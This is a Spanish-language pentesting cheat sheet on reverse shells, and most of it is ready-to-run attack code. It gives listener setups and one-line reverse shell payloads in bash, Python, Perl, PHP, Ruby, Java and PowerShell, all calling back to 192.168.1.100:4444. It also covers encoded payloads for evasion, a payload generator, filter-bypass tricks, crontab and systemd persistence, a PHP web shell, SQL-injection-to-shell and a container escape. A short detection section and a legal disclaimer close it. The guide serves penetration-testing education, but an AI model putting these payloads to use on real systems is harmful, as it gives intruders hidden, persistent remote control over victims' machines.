Reverse Shell - Conexiones Inversas para Pentesting
Reverse Shell - Conexiones Inversas para Pentesting
Section titled “Reverse Shell - Conexiones Inversas para Pentesting”Introducción
Section titled “Introducción”Un Reverse Shell es una técnica fundamental en pentesting que permite establecer una conexión desde la máquina comprometida (objetivo) hacia la máquina del atacante. A diferencia de un bind shell, donde el atacante se conecta directamente al objetivo, en un reverse shell es la máquina objetivo la que inicia la conexión hacia el atacante.
¿Por qué usar Reverse Shells?
Section titled “¿Por qué usar Reverse Shells?”- Bypass de Firewalls: La mayoría de firewalls bloquean conexiones entrantes pero permiten salientes
- NAT Traversal: Funciona detrás de routers con NAT
- Stealth: Menos detectable que bind shells
- Flexibilidad: Múltiples técnicas y lenguajes disponibles
Conceptos Fundamentales
Section titled “Conceptos Fundamentales”[Atacante] <---- CONEXIÓN INICIADA ---- [Objetivo] | | Listener Reverse Shell(nc -lvp 4444) (bash -i >& /dev/tcp/IP/4444 0>&1)Configuración del Listener
Section titled “Configuración del Listener”Netcat Tradicional
Section titled “Netcat Tradicional”# Listener básiconc -lvp 4444
# Con verbose para debuggingnc -lvnp 4444
# Múltiples conexioneswhile true; do nc -lvp 4444; doneNetcat con OpenBSD
Section titled “Netcat con OpenBSD”# OpenBSD netcat (más común en sistemas modernos)nc -l 4444
# Con bind a interfaz específicanc -l -s 192.168.1.100 4444Socat (Más Avanzado)
Section titled “Socat (Más Avanzado)”# Listener básico con socatsocat file:`tty`,raw,echo=0 tcp-listen:4444
# Con SSL/TLSsocat openssl-listen:4444,cert=server.pem,verify=0 -
# Con loggingsocat file:`tty`,raw,echo=0 tcp-listen:4444,fork > connections.logMetasploit Handler
Section titled “Metasploit Handler”msfconsole -q -x "use multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"Payloads por Lenguaje
Section titled “Payloads por Lenguaje”# Método clásico con /dev/tcpbash -i >& /dev/tcp/192.168.1.100/4444 0>&1
# Alternativa con execexec 5<>/dev/tcp/192.168.1.100/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
# Con timeout para evitar colgarsetimeout 10 bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
# Usando named pipes (FIFO)rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.1.100 4444 > /tmp/fPython
Section titled “Python”# Python 2python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
# Python 3python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
# Versión más robusta con manejo de errorespython3 -c 'import socket,subprocess,os,ptys=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("192.168.1.100",4444))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)pty.spawn("/bin/bash")'# Perl básicoperl -e 'use Socket;$i="192.168.1.100";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
# Versión Windowsperl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"192.168.1.100:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'# PHP básicophp -r '$sock=fsockopen("192.168.1.100",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
# Versión más completaphp -r '$sock=fsockopen("192.168.1.100",4444);$proc=proc_open("/bin/bash -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
# Para sistemas Windowsphp -r '$sock=fsockopen("192.168.1.100",4444);$proc=proc_open("cmd.exe", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'# Ruby básicoruby -rsocket -e'f=TCPSocket.open("192.168.1.100",4444).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'
# Versión Windowsruby -rsocket -e 'c=TCPSocket.new("192.168.1.100","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'// Compilar: javac ReverseShell.java// Ejecutar: java ReverseShellimport java.io.*;import java.net.*;
public class ReverseShell { public static void main(String[] args) throws Exception { Socket s = new Socket("192.168.1.100", 4444); Process p = Runtime.getRuntime().exec("/bin/bash"); InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); OutputStream po = p.getOutputStream(), so = s.getOutputStream(); while(!s.isClosed()) { while(pi.available()>0) so.write(pi.read()); while(pe.available()>0) so.write(pe.read()); while(si.available()>0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e){} } p.destroy(); s.close(); }}PowerShell (Windows)
Section titled “PowerShell (Windows)”# PowerShell básicopowershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Versión encoded para evasiónpowershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA5ADIALgAxADYAOAAuADEALgAxADAAMAAnACwANAA0ADQANAApAA==Técnicas Avanzadas
Section titled “Técnicas Avanzadas”Reverse Shell con Cifrado
Section titled “Reverse Shell con Cifrado”# Usando OpenSSL# En el atacante:openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodesopenssl s_server -quiet -key key.pem -cert cert.pem -port 4444
# En el objetivo:mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.1.100:4444 > /tmp/s; rm /tmp/sDNS Tunneling
Section titled “DNS Tunneling”# Usando dnscat2# Atacante:ruby dnscat2.rb --dns "domain=example.com,host=192.168.1.100,port=53"
# Objetivo:./dnscat --dns "domain=example.com,host=192.168.1.100"HTTP/HTTPS Reverse Shell
Section titled “HTTP/HTTPS Reverse Shell”# Python HTTP reverse shellimport requests, subprocess, time, base64
while True: try: r = requests.get('http://192.168.1.100:8080/cmd') if r.status_code == 200: cmd = base64.b64decode(r.text).decode() if cmd == 'exit': break output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) requests.post('http://192.168.1.100:8080/output', data=base64.b64encode(output).decode()) except: pass time.sleep(5)Scripts de Automatización
Section titled “Scripts de Automatización”Generador de Payloads
Section titled “Generador de Payloads”#!/bin/bash
# Script generador de reverse shells# Uso: ./revshell_generator.sh <IP> <PORT> <TYPE>
IP=$1PORT=$2TYPE=$3
if [ $# -ne 3 ]; then echo "Uso: $0 <IP> <PORT> <bash|python|php|perl|ruby|nc>" exit 1fi
echo "[+] Generando reverse shell para $IP:$PORT"
case $TYPE in "bash") echo "bash -i >& /dev/tcp/$IP/$PORT 0>&1" ;; "python") echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$IP\",$PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" ;; "php") echo "php -r '\$sock=fsockopen(\"$IP\",$PORT);exec(\"/bin/bash -i <&3 >&3 2>&3\");'" ;; "perl") echo "perl -e 'use Socket;\$i=\"$IP\";\$p=$PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'" ;; "ruby") echo "ruby -rsocket -e'f=TCPSocket.open(\"$IP\",$PORT).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'" ;; "nc") echo "nc -e /bin/bash $IP $PORT" echo "# Si nc no tiene -e:" echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $IP $PORT >/tmp/f" ;; *) echo "Tipo no soportado. Usa: bash, python, php, perl, ruby, nc" exit 1 ;;esacMulti-Listener
Section titled “Multi-Listener”#!/bin/bash
# Script para múltiples listenersPORTS=(4444 4445 4446 4447 4448)IP=$(ip route get 1 | awk '{print $7}' | head -1)
echo "[+] Iniciando múltiples listeners en $IP"
for port in "${PORTS[@]}"; do echo "[+] Listener en puerto $port" gnome-terminal -- bash -c "echo 'Listener $port'; nc -lvp $port; exec bash"done
echo "[+] Payloads generados:"for port in "${PORTS[@]}"; do echo "Puerto $port: bash -i >& /dev/tcp/$IP/$port 0>&1"doneUpgrade de Shell
Section titled “Upgrade de Shell”#!/bin/bash
# Script para mejorar shells básicosupgrade_shell() { echo "[+] Upgrading shell..."
# Método 1: Python pty python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm
# Ctrl+Z para background echo "[+] Presiona Ctrl+Z ahora" read -p "Presiona Enter después de Ctrl+Z..."
# En el atacante: stty raw -echo; fg
# Configurar variables export SHELL=bash export TERM=xterm-256color stty rows 38 columns 116}
# Método alternativo con scriptupgrade_shell_script() { /usr/bin/script -qc /bin/bash /dev/null export TERM=xterm stty raw -echo; fg}
# Método con expectupgrade_shell_expect() { expect -c 'spawn /bin/bash; interact'}Evasión y Anti-Detección
Section titled “Evasión y Anti-Detección”Ofuscación de Payloads
Section titled “Ofuscación de Payloads”# Base64 encodingecho 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' | base64# Ejecutar: echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo=' | base64 -d | bash
# Hex encodingecho 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' | xxd -p | tr -d '\n'# Ejecutar: echo '626173682d69203e26202f6465762f7463702f3139322e3136382e312e3130302f343434342030' | xxd -r -p | bash
# ROT13echo 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' | tr 'A-Za-z' 'N-ZA-Mn-za-m'Técnicas de Bypass
Section titled “Técnicas de Bypass”# Bypass de caracteres filtrados# Si "/" está filtrado:${HOME:0:1}bin${HOME:0:1}bash -i
# Si espacios están filtrados:bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.1.100/4444${IFS}0>&1
# Usando variables de entornoexport RHOST=192.168.1.100export RPORT=4444bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1Persistencia
Section titled “Persistencia”# Crontabecho "* * * * * /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" | crontab -
# Systemd servicecat > /etc/systemd/system/revshell.service << EOF[Unit]Description=Reverse Shell Service
[Service]ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'Restart=always
[Install]WantedBy=multi-user.targetEOF
systemctl enable revshell.servicesystemctl start revshell.serviceCasos de Uso Prácticos
Section titled “Casos de Uso Prácticos”Web Shell a Reverse Shell
Section titled “Web Shell a Reverse Shell”<?phpif(isset($_GET['cmd'])) { if($_GET['cmd'] == 'revshell') { $sock = fsockopen("192.168.1.100", 4444); exec("/bin/bash -i <&3 >&3 2>&3"); } else { system($_GET['cmd']); }}?>SQL Injection a Reverse Shell
Section titled “SQL Injection a Reverse Shell”-- MySQLSELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
-- PostgreSQL con reverse shell directoCOPY (SELECT 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1') TO PROGRAM 'bash';Reverse Shell en Containers
Section titled “Reverse Shell en Containers”# Docker escapedocker run -v /:/mnt --rm -it alpine chroot /mnt bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
# Kubernetes podkubectl run revshell --image=alpine --rm -it -- sh -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'Detección y Defensa
Section titled “Detección y Defensa”Indicadores de Compromiso
Section titled “Indicadores de Compromiso”# Conexiones sospechosasnetstat -antup | grep :4444ss -tulpn | grep :4444
# Procesos sospechososps aux | grep -E "(bash.*tcp|nc.*4444|python.*socket)"
# Logs de redtcpdump -i any -n host 192.168.1.100 and port 4444Contramedidas
Section titled “Contramedidas”# Firewall rulesiptables -A OUTPUT -p tcp --dport 4444 -j DROPiptables -A OUTPUT -p tcp --dport 1234:5000 -j DROP
# Monitoring con auditdauditctl -a always,exit -F arch=b64 -S socket -k network_connectionsTroubleshooting
Section titled “Troubleshooting”Problemas Comunes
Section titled “Problemas Comunes”- Firewall bloqueando: Usar puertos comunes (80, 443, 53)
- Shell no interactivo: Usar técnicas de upgrade
- Conexión se corta: Implementar keep-alive
- Caracteres especiales: Usar encoding/ofuscación
Debugging
Section titled “Debugging”# Verificar conectividadnc -zv 192.168.1.100 4444
# Test con telnettelnet 192.168.1.100 4444
# Wireshark para análisis de tráficowireshark -i eth0 -f "host 192.168.1.100 and port 4444"Recursos Adicionales
Section titled “Recursos Adicionales”Herramientas Útiles
Section titled “Herramientas Útiles”- RevShells.com - Generador online de reverse shells
- PentestMonkey Cheat Sheet
- PayloadsAllTheThings
Documentación Oficial
Section titled “Documentación Oficial”Disclaimer Legal
Section titled “Disclaimer Legal”⚠️ IMPORTANTE: Esta documentación es únicamente para fines educativos y de investigación en ciberseguridad. El uso de reverse shells debe realizarse exclusivamente en:
- Sistemas propios
- Entornos de laboratorio
- Pruebas de penetración autorizadas
El uso no autorizado puede constituir un delito. Los autores no se hacen responsables del mal uso de esta información.